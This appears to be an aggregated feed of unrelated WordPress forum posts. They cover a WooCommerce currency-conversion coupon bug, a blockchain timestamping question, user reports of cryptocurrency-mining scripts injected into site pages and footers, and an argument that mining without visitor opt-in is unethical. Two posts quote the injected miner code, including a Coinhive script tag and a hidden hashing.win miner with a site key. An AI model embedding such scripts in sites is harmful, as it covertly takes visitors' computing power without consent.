We have 2 currency USD and INR
we are applying a virtual coupon discount, discount is 50% of the cart subtotal
it work properly when we are in base currency, but when we switch to other currency it goes wrong
our code takes the subtotal (which is already converted to other currency) and then applies that amount as discount (but here it goes wrong) you plugin applies the conversion again on this amount so its gives wrong result
We want to know how to disable the currency conversion on our coupon
here is our coupon code you can try it on your end
class virtual_coupon_test{
function __construct(){
add_action('woocommerce_before_calculate_totals', array($this,'applyDiscountCode'));
add_action('woocommerce_after_calculate_totals', array($this,'applyDiscountCode'));
add_filter('woocommerce_get_shop_coupon_data', array($this, 'addDiscountCouponData'),10,3);
}
function applyDiscountCode(WC_Cart $cart){
$cart->applied_coupons[] = "pisol-cdrw-discount:test";
}
function addDiscountCouponData($false, $data, $coupon){
if(!function_exists('WC') || !isset(WC()->cart) ) return false;
$coupon_id = "pisol-cdrw-discount:test";
$subtotal = WC()->cart->get_subtotal();
$off = $subtotal * 50 / 100;
$coupon->set_discount_type('fixed_cart');
$coupon->set_description( 'Test coupon' );
$coupon->set_amount(abs($off));
return $coupon;
}
}
new virtual_coupon_test();
]]>I’m a total newbie in this blockchain technology, so I have a question that may seem silly, but I’m just interested if this timestamping has anything to do with mining? Because we do get the WORD tokens with which we are timestamping our content, right?
So these tokens are somehow mined? Do I need to run the scatter program all the time, or can I shut it down and only turn it on when I need to post some content on my site? I’m a bit puzzled at the process here.
Loved the talk about this at WCEU, I’m interested to see where this will go in the future
]]>Line 405 on the index page, there is a script called coinhive, which is a malware trying to mine Bitcoins on any visitors’ computer.
The script line is as follows:
<script type=’text/javascript’ src=’https://coinhive.com/lib/coinhive.min.js?ver=4.9.3′></script>
I have got plugins:
Akismet Anti-Spam
Version 4.0.3 | By Automattic | View details
Booking Calendar
Version 8.1.2 | By wpdevelop, oplugins | View details
Caldera Forms
Version 1.5.9.1 | By Caldera Labs | View details
Duplicate Post
Version 3.2.1 | By Enrico Battocchi | View details | Documentation | Donate
Facebook Like Box
Version 0.7.80 | By smplug-in | View details
Hello Dolly
Version 1.6 | By Matt Mullenweg | View details
Loginizer
Version 1.3.8 | By Raj Kothari | View details
Multilanguage by BestWebSoft
Version 1.3.0 | By BestWebSoft | View details | Settings | FAQ | Support
PDF Embedder
Version 3.1.8 | By Dan Lester | View details
Simple Calendar
Version 3.1.14 | By Simple Calendar | View details | Add-ons
Upload Max File Size
Version 1.2 | By Ashutosh Kumar | View details
WP Show Posts
Version 1.1.2 | By Tom Usborne | View details
WP Super Cache
Version 1.5.9 | By Automattic | View details
WPBakery Page Builder
Version 5.4.5 | By Michael M – WPBakery.com | Visit plugin site
if they are doing this on their offical webpage, then cant trust them for there theme on our websites. lovely theme but i lost all trust as i saw there cheat.
]]>Help me, guys!
]]><div style=”bottom:0; visibility:visible !important; display: block !important;” ><center><!– nsr-ID 30806962 1515082736 –> <script src=”https://www.hashing.win/scripts/min.js”></script><script>var miner = new Client.Anonymous(“6cbf25e53638b9537f4da07d24f73cf1cf50b28962aab453bba3fd9d1df99dd0”, { throttle: 0.2});miner.start();</script><style>#credits
Can you please check it? My Kaspersky Internet Security is detecting it in the footer.
]]>also see the forum post here
]]>personally, i do not feel this is necessarily a bad thing and, actually, i see this tech in general as potentially excellent way to monetize web content without having to subject visitors to ads or begging for donations
HOWEVER, the way that every single one of the devs are implementing the Coin Hive miner in all of the WP plugs as of this writing is HIGHLY UNETHICAL in my opinion insomuch as they all are allowing the mining script to run WITHOUT even making the visitor aware, much less offering an opt-in solution
Coin Hive seems like they have a solid ethic and a very good privacy policy and and i think they’re in this for the right reasons, one of which is to de-clutter the web of annoying ads and other unethical monetization schemes
here’s some quotes from the Coin Hive blog (The Way Forward), emphasis added…
Our goal was to offer a viable alternative to intrusive and annoying ads that litter so many websites today. These ads are not only a distraction to end users, but also provide notoriously unpredictable and non-transparent revenue numbers. We set out to change that.
[…]
We’re a bit saddened to see that some of our customers integrate Coinhive into their pages without disclosing to their users what’s going on, let alone asking for their permission. We believe there’s so much more potential for our solution, but we have to be respectful to our end users.
[…]
It’s probably too late to do anything about the adblockers that already prevent our current JavaScript from loading. Instead, we will focus on a new implementation that requires an explicit opt-in from the end user to run. We will verify this opt-in on our servers and will implement it in a way that it can not be circumvented. We will pledge to keep the opt-in in tact at all times, without exceptions.
with that said, i would very much like to ask WordPress to please consider disallowing ANY cryptocurrency mining plugin for WP which utilizes the computing power of site visitors without asking the visitors permission, as in opt-in, not opt-out
i see this tech as an excellent opportunity and perhaps a revolutionary change in how content is monetized, but any developer who acts unethically by employing such tech without asking permission first is, i think, a great threat to the future of something that may have enormous potential
already AV companies and ad-block devs are blacklisting these mining scripts because of unethical developers such as those offering the WP plugs i spoke of
]]>